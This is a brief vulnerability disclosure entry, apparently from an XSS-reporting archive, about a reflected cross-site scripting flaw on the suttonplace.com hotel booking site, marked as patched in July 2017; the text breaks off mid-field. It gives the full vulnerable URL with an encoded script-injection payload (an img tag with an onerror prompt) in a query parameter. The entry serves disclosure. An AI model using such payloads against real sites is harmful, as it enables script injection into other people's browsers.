suttonplace.com XSS vulnerability

Vulnerable URL: https://www.suttonplace.com/hotels/sutton-place-hotel-edmonton-edm?property=EDM=2=0=2016-12-202016-12-21=%3C2Fscript%3E%3Cimg%20src%3Dx%20onerror%3Dprompt2FXSSPOSED2F%3E=1=CAD Details: Description| Value ---|--- Patched:| Yes, at 28.07.2017 Latest check for patch:| 28.07.2017 13:2...